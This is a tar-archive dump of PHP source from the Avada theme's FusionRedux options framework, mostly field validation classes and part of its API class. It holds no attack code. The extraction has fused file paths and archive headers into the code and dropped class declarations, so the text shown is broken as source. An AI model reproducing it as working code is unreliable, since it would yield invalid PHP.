$opt_name => $data ) { $array['instances'][] = $opt_name; } } $array['key'] = md5( AUTH_KEY . SECURE_AUTH_KEY ); } echo @json_encode( $array, true ); die(); } function capture( $FusionReduxFramework ) { $this->store( $FusionReduxFramework ); } private function store( $FusionReduxFramework ) { if ( $FusionReduxFramework instanceof FusionReduxFramework ) { $key = $FusionReduxFramework->args['opt_name']; self::$instances[ $key ] = $FusionReduxFramework; } } } includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/colorrgba/validation_colorrgba.php000064400000004353152342437710030625 0ustar00Avadaparent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field must be a valid color value.', 'Avada' ); $this->value = $value; $this->current = $current; //$this->validate(); } //function /** * Validate Color to RGBA * Takes the user's input color value and returns it only if it's a valid color. * * @since FusionReduxFramework 3.0.3 */ function validate_colorrgba( $color ) { return $color; //$color = $value['color']; //$alpha = $value['alpha']; $alpha = '1.0'; if ( $color == "transparent" ) { return $hidden; } /* $color = str_replace('#','', $color); if (strlen($color) == 3) { $color = $color.$color; } if (preg_match('/^[a-f0-9]{6}$/i', $color)) { $color = '#' . $color; } */ return array( 'hex' => $color, 'alpha' => $alpha ); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 3.0.0 */ function validate() { $this->value = $this->validate_colorrgba( $this->value ); /* if(is_array($this->value)) { // If array foreach($this->value as $k => $value){ $this->value[$k] = $this->validate_colorrgba($value); }//foreach } else { // not array $this->value = $this->validate_colorrgba($this->value); } // END array check */ } //function } //class } lib/inc/redux/framework/FusionReduxCore/inc/validation/str_replace/validation_str_replace.php000064400000001651152342437710031505 0ustar00Avada/includesparent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since FusionReduxFramework 1.0.0 */ function validate() { $this->value = str_replace( $this->field['str']['search'], $this->field['str']['replacement'], $this->value ); } //function } //class } includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/color_rgba/validation_color_rgba.php000064400000003560152342437710031122 0ustar00Avadaparent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field must be a valid color value.', 'Avada' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Validate Color to RGBA * Takes the user's input color value and returns it only if it's a valid color. * * @since FusionReduxFramework 3.0.3 */ function validate_color_rgba( $color ) { if ( $color == "transparent" ) { return $color; } $color = str_replace( '#', '', $color ); if ( strlen( $color ) == 3 ) { $color = $color . $color; } if ( preg_match( '/^[a-f0-9]{6}$/i', $color ) ) { $color = '#' . $color; } return array( 'hex' => $color, 'rgba' => FusionRedux_Helpers::hex2rgba( $color ) ); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 3.0.0 */ function validate() { if ( is_array( $this->value ) ) { // If array foreach ( $this->value as $k => $value ) { $this->value[ $k ] = $this->validate_color_rgba( $value ); } //foreach } else { // not array $this->value = $this->validate_color_rgba( $this->value ); } // END array check } //function } //class } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/url/validation_url.php000064400000002322152342437710026356 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a valid URL for this option.', 'Avada' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since FusionReduxFramework 1.0.0 */ function validate() { if ( filter_var( $this->value, FILTER_VALIDATE_URL ) == false ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } else { $this->value = esc_url_raw( $this->value ); } } //function } //class } lib/inc/redux/framework/FusionReduxCore/inc/validation/html_custom/validation_html_custom.php000064400000001664152342437710031577 0ustar00Avada/includesparent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since FusionReduxFramework 1.0.0 */ function validate() { if (isset($this->field['allowed_html'])) { $this->value = wp_kses( $this->value, $this->field['allowed_html'] ); } } //function } //class }Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/html/validation_html.php000064400000001530152342437710026662 0ustar00parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since FusionReduxFramework 1.0.0 */ function validate() { $this->value = wp_kses_post( $this->value ); } //function } //class }Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/numeric/validation_numeric.php000064400000002246152342437710030063 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a numerical value for this option.', 'Avada' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function validate() { if ( ! is_numeric( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class } lib/inc/redux/framework/FusionReduxCore/inc/validation/comma_numeric/validation_comma_numeric.php000064400000002435152342437710032334 0ustar00Avada/includesparent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a comma separated list of numerical values for this option.', 'Avada' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function validate() { $this->value = str_replace( ' ', '', $this->value ); if ( ! is_numeric( str_replace( ',', '', $this->value ) ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class } redux/framework/FusionReduxCore/inc/validation/numeric_not_empty/validation_numeric_not_empty.php000064400000002312152342437710034172 0ustar00Avada/includes/lib/incparent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a numerical value for this option.', 'Avada' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function validate() { if ( ! is_numeric( $this->value ) || ! isset( $this->value ) || empty( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/color/validation_color.php000064400000012073152342437710027212 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field must be a valid color value.', 'Avada' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Validate Color * Takes the user's input color value and returns it only if it's a valid color. * * @since FusionReduxFramework 3.0.0 */ function validate_color( $color ) { if ( $color == "transparent" ) { return $color; } $named = json_decode( '{"transparent":"transparent", "aliceblue":"#f0f8ff","antiquewhite":"#faebd7","aqua":"#00ffff","aquamarine":"#7fffd4","azure":"#f0ffff", "beige":"#f5f5dc","bisque":"#ffe4c4","black":"#000000","blanchedalmond":"#ffebcd","blue":"#0000ff","blueviolet":"#8a2be2","brown":"#a52a2a","burlywood":"#deb887", "cadetblue":"#5f9ea0","chartreuse":"#7fff00","chocolate":"#d2691e","coral":"#ff7f50","cornflowerblue":"#6495ed","cornsilk":"#fff8dc","crimson":"#dc143c","cyan":"#00ffff", "darkblue":"#00008b","darkcyan":"#008b8b","darkgoldenrod":"#b8860b","darkgray":"#a9a9a9","darkgreen":"#006400","darkkhaki":"#bdb76b","darkmagenta":"#8b008b","darkolivegreen":"#556b2f", "darkorange":"#ff8c00","darkorchid":"#9932cc","darkred":"#8b0000","darksalmon":"#e9967a","darkseagreen":"#8fbc8f","darkslateblue":"#483d8b","darkslategray":"#2f4f4f","darkturquoise":"#00ced1", "darkviolet":"#9400d3","deeppink":"#ff1493","deepskyblue":"#00bfff","dimgray":"#696969","dodgerblue":"#1e90ff", "firebrick":"#b22222","floralwhite":"#fffaf0","forestgreen":"#228b22","fuchsia":"#ff00ff", "gainsboro":"#dcdcdc","ghostwhite":"#f8f8ff","gold":"#ffd700","goldenrod":"#daa520","gray":"#808080","green":"#008000","greenyellow":"#adff2f", "honeydew":"#f0fff0","hotpink":"#ff69b4", "indianred ":"#cd5c5c","indigo ":"#4b0082","ivory":"#fffff0","khaki":"#f0e68c", "lavender":"#e6e6fa","lavenderblush":"#fff0f5","lawngreen":"#7cfc00","lemonchiffon":"#fffacd","lightblue":"#add8e6","lightcoral":"#f08080","lightcyan":"#e0ffff","lightgoldenrodyellow":"#fafad2", "lightgrey":"#d3d3d3","lightgreen":"#90ee90","lightpink":"#ffb6c1","lightsalmon":"#ffa07a","lightseagreen":"#20b2aa","lightskyblue":"#87cefa","lightslategray":"#778899","lightsteelblue":"#b0c4de", "lightyellow":"#ffffe0","lime":"#00ff00","limegreen":"#32cd32","linen":"#faf0e6", "magenta":"#ff00ff","maroon":"#800000","mediumaquamarine":"#66cdaa","mediumblue":"#0000cd","mediumorchid":"#ba55d3","mediumpurple":"#9370d8","mediumseagreen":"#3cb371","mediumslateblue":"#7b68ee", "mediumspringgreen":"#00fa9a","mediumturquoise":"#48d1cc","mediumvioletred":"#c71585","midnightblue":"#191970","mintcream":"#f5fffa","mistyrose":"#ffe4e1","moccasin":"#ffe4b5", "navajowhite":"#ffdead","navy":"#000080", "oldlace":"#fdf5e6","olive":"#808000","olivedrab":"#6b8e23","orange":"#ffa500","orangered":"#ff4500","orchid":"#da70d6", "palegoldenrod":"#eee8aa","palegreen":"#98fb98","paleturquoise":"#afeeee","palevioletred":"#d87093","papayawhip":"#ffefd5","peachpuff":"#ffdab9","peru":"#cd853f","pink":"#ffc0cb","plum":"#dda0dd","powderblue":"#b0e0e6","purple":"#800080", "red":"#ff0000","rosybrown":"#bc8f8f","royalblue":"#4169e1", "saddlebrown":"#8b4513","salmon":"#fa8072","sandybrown":"#f4a460","seagreen":"#2e8b57","seashell":"#fff5ee","sienna":"#a0522d","silver":"#c0c0c0","skyblue":"#87ceeb","slateblue":"#6a5acd","slategray":"#708090","snow":"#fffafa","springgreen":"#00ff7f","steelblue":"#4682b4", "tan":"#d2b48c","teal":"#008080","thistle":"#d8bfd8","tomato":"#ff6347","turquoise":"#40e0d0", "violet":"#ee82ee", "wheat":"#f5deb3","white":"#ffffff","whitesmoke":"#f5f5f5", "yellow":"#ffff00","yellowgreen":"#9acd32"}', true ); if ( isset( $named[ strtolower( $color ) ] ) ) { /* A color name was entered instead of a Hex Value, convert and send back */ return $named[ strtolower( $color ) ]; } $color = str_replace( '#', '', $color ); if ( strlen( $color ) == 3 ) { $color = $color . $color; } if ( preg_match( '/^[a-f0-9]{6}$/i', $color ) ) { return '#' . $color; } //$this->error = $this->field; return false; } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 3.0.0 */ function validate() { if ( is_array( $this->value ) ) { // If array foreach ( $this->value as $k => $value ) { $this->value[ $k ] = $this->validate_color( $value ); } //foreach } else { // not array $this->value = $this->validate_color( $this->value ); } // END array check } //function } //class } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/js/validation_js.php000064400000001516152342437710026006 0ustar00parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since FusionReduxFramework 1.0.0 */ function validate() { $this->value = esc_js( $this->value ); } //function } //class }Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/no_html/validation_no_html.php000064400000002243152342437710030054 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must not enter any HTML in this field, all HTML tags have been removed.', 'Avada' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since FusionReduxFramework 1.0.0 */ function validate() { $newvalue = strip_tags( $this->value ); if ( $this->value != $newvalue ) { $this->warning = $this->field; } $this->value = $newvalue; } //function } //class } lib/inc/redux/framework/FusionReduxCore/inc/validation/preg_replace/validation_preg_replace.php000064400000001722152342437710031756 0ustar00Avada/includesparent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since FusionReduxFramework 1.0.0 */ function validate() { $this->value = preg_replace_callback($this->field['preg']['pattern'], function($matches){return $this->field['preg']['replacement'];}, $this->value); } //function } //class } lib/inc/redux/framework/FusionReduxCore/inc/validation/unique_slug/validation_unique_slug.php000064400000005063152342437710031600 0ustar00Avada/includesparent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'That URL slug is in use, please choose another. %s is open for use.', 'Avada' ); $this->field['flush_permalinks'] = ( isset( $this->field['flush_permalinks'] ) ) ? $this->field['flush_permalinks'] : false; $this->value = $value; $this->current = $current; $this->validate(); } //function function validate() { global $wpdb, $wp_rewrite; $slug = $this->value; $feeds = $wp_rewrite->feeds; if ( ! is_array( $feeds ) ) { $feeds = array(); } // Post slugs must be unique across all posts. $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s LIMIT 1"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug ) ); /** * Filter whether the post slug would be bad as a flat slug. * * @since 3.1.0 * * @param bool $bad_slug Whether the post slug would be bad as a flat slug. * @param string $slug The post slug. */ if ( $post_name_check || in_array( $slug, $feeds ) || apply_filters( 'wp_unique_post_slug_is_bad_attachment_slug', false, $slug ) ) { $suffix = 2; do { $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name ) ); $suffix ++; } while ( $post_name_check ); $slug = $alt_post_name; $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->field['msg'] = sprintf( $this->field['msg'], $slug ); $this->error = $this->field; } else if ( isset( $this->field['flush_permalinks'] ) && $this->field['flush_permalinks'] == true ) { add_action( 'init', array( $this, 'flush_permalinks' ), 99 ); } } //function function flush_permalinks() { flush_rewrite_rules(); } } //class } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/email/validation_email.php000064400000002234152342437710027132 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a valid email for this option.', 'Avada' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function validate() { if ( ! is_email( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/date/validation_date.php000064400000003001152342437710026577 0ustar00parent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field must be a valid date.', 'Avada' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function validate() { $string = str_replace( '/', '', $this->value ); if ( ! is_numeric( $string ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; return; } if ( $this->value[2] != '/' ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; return; } if ( $this->value[5] != '/' ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class } inc/redux/framework/FusionReduxCore/inc/validation/no_special_chars/validation_no_special_chars.php000064400000002353152342437710033467 0ustar00Avada/includes/libparent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must not enter any special characters in this field, all special characters have been removed.', 'Avada' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since FusionReduxFramework 1.0.0 */ function validate() { if ( ! preg_match( '/[^a-zA-Z0-9_ -]/s', $this->value ) == 0 ) { $this->warning = $this->field; } $this->value = preg_replace( '/[^a-zA-Z0-9_ -]/s', '', $this->value ); } //function } //class } includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/not_empty/validation_not_empty.php000064400000002276152342437710030737 0ustar00Avadaparent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'This field cannot be empty. Please provide a value.', 'Avada' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function validate() { if ( ! isset( $this->value ) || empty( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class } inc/redux/framework/FusionReduxCore/inc/validation/email_not_empty/validation_email_not_empty.php000064400000002344152342437710033251 0ustar00Avada/includes/libparent = $parent; $this->field = $field; $this->field['msg'] = ( isset( $this->field['msg'] ) ) ? $this->field['msg'] : __( 'You must provide a valid email for this option.', 'Avada' ); $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function validate() { if ( ! is_email( $this->value ) || ! isset( $this->value ) || empty( $this->value ) ) { $this->value = ( isset( $this->current ) ) ? $this->current : ''; $this->error = $this->field; } } //function } //class } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/validation/css/validation_css.php000064400000002254152342437710026336 0ustar00parent = $parent; $this->field = $field; $this->value = $value; $this->current = $current; $this->validate(); } //function /** * Field Render Function. * Takes the vars and validates them * * @since FusionReduxFramework 3.0.0 */ function validate() { $data = $this->value; $data = wp_filter_nohtml_kses( $data ); $data = str_replace( '>', '>', $data ); $data = stripslashes($data); if ($data != $this->value) { $this->field['msg'] = __( 'Unsafe strings were found in your CSS and have been filtered out.', 'Avada' ); $this->warning = $this->field; } $this->value = $data; } //function } //class } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_api.php000064400000050531152342437710024723 0ustar00{$closure}->bindTo( $this ), $args ); } public function __toString() { return call_user_func( $this->{"__toString"}->bindTo( $this ) ); // @phpstan-ignore-line } public static function load() { add_action( 'after_setup_theme', array( 'FusionRedux', 'createFusionRedux' ) ); add_action( 'init', array( 'FusionRedux', 'createFusionRedux' ) ); add_action( 'switch_theme', array( 'FusionRedux', 'createFusionRedux' ) ); } public static function init( $opt_name = "" ) { if ( ! empty( $opt_name ) ) { self::loadFusionRedux( $opt_name ); remove_action( 'setup_theme', array( 'FusionRedux', 'createFusionRedux' ) ); } } public static function loadExtensions( $FusionReduxFramework ) { if ( $instanceExtensions = self::getExtensions( $FusionReduxFramework->args['opt_name'], "" ) ) { foreach ( $instanceExtensions as $name => $extension ) { if ( ! class_exists( $extension['class'] ) ) { // In case you wanted override your override, hah. $extension['path'] = apply_filters( 'fusionredux/extension/' . $FusionReduxFramework->args['opt_name'] . '/' . $name, $extension['path'] ); if ( file_exists( $extension['path'] ) ) { require_once wp_normalize_path( $extension['path'] ); } } if ( ! isset( $FusionReduxFramework->extensions[ $name ] ) ) { if ( class_exists( $extension['class'] ) ) { $FusionReduxFramework->extensions[ $name ] = new $extension['class']( $FusionReduxFramework ); } else { echo '

    No class named ' . $extension['class'] . ' exists. Please verify your extension path.

    '; } } } } } public static function extensionPath( $extension, $folder = true ) { if ( ! isset( FusionRedux::$extensions[ $extension ] ) ) { return; } $path = end( FusionRedux::$extensions[ $extension ] ); if ( ! $folder ) { return $path; } return str_replace( 'extension_' . $extension . '.php', '', $path ); } public static function loadFusionRedux( $opt_name = "" ) { if ( empty( $opt_name ) ) { return; } $check = FusionReduxFrameworkInstances::get_instance( $opt_name ); if ( isset( $check->apiHasRun ) ) { return; } $args = self::constructArgs( $opt_name ); $sections = self::constructSections( $opt_name ); if ( ! class_exists( 'FusionReduxFramework' ) ) { echo '

    FusionRedux Framework is not installed. Please install it.

    '; return; } if ( isset( self::$uses_extensions[ $opt_name ] ) && ! empty( self::$uses_extensions[ $opt_name ] ) ) { add_action( "fusionredux/extensions/{$opt_name}/before", array( 'FusionRedux', 'loadExtensions' ), 0 ); } $fusionredux = new FusionReduxFramework( $sections, $args ); $fusionredux->apiHasRun = 1; self::$init[ $opt_name ] = 1; if ( isset( $fusionredux->args['opt_name'] ) && $fusionredux->args['opt_name'] != $opt_name ) { self::$init[ $fusionredux->args['opt_name'] ] = 1; } } public static function createFusionRedux() { foreach ( self::$sections as $opt_name => $theSections ) { if ( ! self::$init[ $opt_name ] ) { self::loadFusionRedux( $opt_name ); } } } public static function constructArgs( $opt_name ) { $args = isset( self::$args[ $opt_name ] ) ? self::$args[ $opt_name ] : array(); $args['opt_name'] = $opt_name; if ( ! isset( $args['menu_title'] ) ) { $args['menu_title'] = ucfirst( $opt_name ) . ' Options'; } if ( ! isset( $args['page_title'] ) ) { $args['page_title'] = ucfirst( $opt_name ) . ' Options'; } if ( ! isset( $args['page_slug'] ) ) { $args['page_slug'] = $opt_name . '_options'; } return $args; } public static function constructSections( $opt_name ) { $sections = array(); if ( ! isset( self::$sections[ $opt_name ] ) ) { return $sections; } foreach ( self::$sections[ $opt_name ] as $section_id => $section ) { $section['fields'] = self::constructFields( $opt_name, $section_id ); $p = $section['priority']; while ( isset( $sections[ $p ] ) ) { $p++; } $sections[ $p ] = $section; } ksort( $sections ); return $sections; } public static function constructFields( $opt_name = "", $section_id = "" ) { $fields = array(); if ( ! empty( self::$fields[ $opt_name ] ) ) { foreach ( self::$fields[ $opt_name ] as $key => $field ) { if ( $field['section_id'] == $section_id ) { $p = $field['priority']; while ( isset( $fields[ $p ] ) ) { echo $p ++; } $fields[ $p ] = $field; } } } ksort( $fields ); return $fields; } public static function getSection( $opt_name = '', $id = '' ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( ! isset( self::$sections[ $opt_name ][ $id ] ) ) { $id = strtolower( sanitize_html_class( $id ) ); } return isset( self::$sections[ $opt_name ][ $id ] ) ? self::$sections[ $opt_name ][ $id ] : false; } return false; } public static function setSections( $opt_name = '', $sections = array() ) { self::check_opt_name( $opt_name ); if ( ! empty( $sections ) ) { foreach ( $sections as $section ) { FusionRedux::setSection( $opt_name, $section ); } } } public static function getSections( $opt_name = '' ) { self::check_opt_name( $opt_name ); if ( ! empty( self::$sections[ $opt_name ] ) ) { return self::$sections[ $opt_name ]; } return array(); } public static function removeSection( $opt_name = '', $id = "", $fields = false ) { if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( isset( self::$sections[ $opt_name ][ $id ] ) ) { $priority = ''; foreach ( self::$sections[ $opt_name ] as $key => $section ) { if ( $key == $id ) { $priority = $section['priority']; self::$priority[ $opt_name ]['sections'] --; unset( self::$sections[ $opt_name ][ $id ] ); continue; } if ( $priority != "" ) { $newPriority = $section['priority']; $section['priority'] = $priority; self::$sections[ $opt_name ][ $key ] = $section; $priority = $newPriority; } } if ( isset( self::$fields[ $opt_name ] ) && ! empty( self::$fields[ $opt_name ] ) && $fields == true ) { foreach ( self::$fields[ $opt_name ] as $key => $field ) { if ( $field['section_id'] == $id ) { unset( self::$fields[ $opt_name ][ $key ] ); } } } } } } public static function setSection( $opt_name = '', $section = array() ) { self::check_opt_name( $opt_name ); if ( empty( $section ) ) { return; } if ( ! isset( $section['id'] ) ) { if ( isset( $section['type'] ) && $section['type'] == "divide" ) { $section['id'] = time(); } else { if ( isset( $section['title'] ) ) { $section['id'] = strtolower( sanitize_title( $section['title'] ) ); } else { $section['id'] = time(); } } if ( ! isset( $section['id'] ) ) { print_r( $section ); echo "DOVY"; } if ( isset( self::$sections[ $opt_name ][ $section['id'] ] ) ) { $orig = $section['id']; $i = 0; while ( isset( self::$sections[ $opt_name ][ $section['id'] ] ) ) { $section['id'] = $orig . '_' . $i; } } } if ( ! empty( $opt_name ) && is_array( $section ) && ! empty( $section ) ) { if ( ! isset( $section['id'] ) && ! isset( $section['title'] ) ) { self::$errors[ $opt_name ]['section']['missing_title'] = "Unable to create a section due to missing id and title."; return; } if ( ! isset( $section['priority'] ) ) { $section['priority'] = self::getPriority( $opt_name, 'sections' ); } if ( isset( $section['fields'] ) ) { if ( ! empty( $section['fields'] ) && is_array( $section['fields'] ) ) { self::processFieldsArray( $opt_name, $section['id'], $section['fields'] ); } unset( $section['fields'] ); } self::$sections[ $opt_name ][ $section['id'] ] = $section; } else { self::$errors[ $opt_name ]['section']['empty'] = "Unable to create a section due an empty section array or the section variable passed was not an array."; return; } } public static function hideSection( $opt_name = '', $id = '', $hide = true ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( isset ( self::$sections[ $opt_name ][ $id ] ) ) { self::$sections[ $opt_name ][ $id ]['hidden'] = $hide; } } } public static function processFieldsArray( $opt_name = "", $section_id = "", $fields = array() ) { if ( ! empty( $opt_name ) && ! empty( $section_id ) && is_array( $fields ) && ! empty( $fields ) ) { foreach ( $fields as $field ) { if ( ! is_array( $field ) ) { continue; } $field['section_id'] = $section_id; self::setField( $opt_name, $field ); } } } public static function getField( $opt_name = '', $id = '' ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { return isset( self::$fields[ $opt_name ][ $id ] ) ? self::$fields[ $opt_name ][ $id ] : false; } return false; } public static function hideField( $opt_name = '', $id = '', $hide = true ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( isset ( self::$fields[ $opt_name ][ $id ] ) ) { if ( ! $hide ) { self::$fields[ $opt_name ][ $id ]['class'] = str_replace( 'hidden', '', self::$fields[ $opt_name ][ $id ]['class'] ); } else { self::$fields[ $opt_name ][ $id ]['class'] .= 'hidden'; } } } } public static function setField( $opt_name = '', $field = array() ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && is_array( $field ) && ! empty( $field ) ) { if ( ! isset( $field['priority'] ) ) { $field['priority'] = self::getPriority( $opt_name, 'fields' ); } if ( isset( $field['id'] ) ) { self::$fields[ $opt_name ][ $field['id'] ] = $field; } } } public static function removeField( $opt_name = '', $id = '' ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $id ) ) { if ( isset( self::$fields[ $opt_name ][ $id ] ) ) { foreach ( self::$fields[ $opt_name ] as $key => $field ) { if ( $key == $id ) { $priority = $field['priority']; self::$priority[ $opt_name ]['fields'] --; unset( self::$fields[ $opt_name ][ $id ] ); continue; } if ( isset( $priority ) && $priority != "" ) { $newPriority = $field['priority']; $field['priority'] = $priority; self::$fields[ $opt_name ][ $key ] = $field; $priority = $newPriority; } } } } return false; } public static function setHelpTab( $opt_name = "", $tab = array() ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $tab ) ) { if ( ! isset( self::$args[ $opt_name ]['help_tabs'] ) ) { self::$args[ $opt_name ]['help_tabs'] = array(); } if ( isset( $tab['id'] ) ) { self::$args[ $opt_name ]['help_tabs'][] = $tab; } else if ( is_array( end( $tab ) ) ) { foreach ( $tab as $tab_item ) { self::$args[ $opt_name ]['help_tabs'][] = $tab_item; } } } } public static function setHelpSidebar( $opt_name = "", $content = "" ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $content ) ) { self::$args[ $opt_name ]['help_sidebar'] = $content; } } public static function setArgs( $opt_name = "", $args = array() ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $args ) && is_array( $args ) ) { if ( isset( self::$args[ $opt_name ] ) && isset( self::$args[ $opt_name ]['clearArgs'] ) ) { self::$args[ $opt_name ] = array(); } self::$args[ $opt_name ] = wp_parse_args( $args, self::$args[ $opt_name ] ); } } public static function getArgs( $opt_name = "" ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( self::$args[ $opt_name ] ) ) { return self::$args[ $opt_name ]; } } public static function getArg( $opt_name = "", $key = "" ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $key ) && ! empty( self::$args[ $opt_name ] ) ) { return self::$args[ $opt_name ][ $key ]; } else { return; } } public static function getOption ($opt_name = "", $key = "") { self::check_opt_name( $opt_name ); if (!empty($opt_name) && !empty($key)) { $fusionredux = get_option($opt_name); if (isset($fusionredux[$key])) { return $fusionredux[$key]; } else { return; } } else { return; } } public static function setOption ($opt_name = "", $key = "", $option = "") { self::check_opt_name( $opt_name ); if (!empty($opt_name) && !empty($key)) { $fusionredux = get_option($opt_name); $fusionredux[$key] = $option; return update_option($opt_name, $fusionredux); } else { return false; } } public static function getPriority( $opt_name, $type ) { $priority = self::$priority[ $opt_name ][ $type ]; self::$priority[ $opt_name ][ $type ] += 1; return $priority; } public static function check_opt_name( $opt_name = "" ) { if ( empty( $opt_name ) || is_array( $opt_name ) ) { return; } if ( ! isset( self::$sections[ $opt_name ] ) ) { self::$sections[ $opt_name ] = array(); self::$priority[ $opt_name ]['sections'] = 1; } if ( ! isset( self::$args[ $opt_name ] ) ) { self::$args[ $opt_name ] = array(); self::$priority[ $opt_name ]['args'] = 1; } if ( ! isset( self::$fields[ $opt_name ] ) ) { self::$fields[ $opt_name ] = array(); self::$priority[ $opt_name ]['fields'] = 1; } if ( ! isset( self::$help[ $opt_name ] ) ) { self::$help[ $opt_name ] = array(); self::$priority[ $opt_name ]['help'] = 1; } if ( ! isset( self::$errors[ $opt_name ] ) ) { self::$errors[ $opt_name ] = array(); } if ( 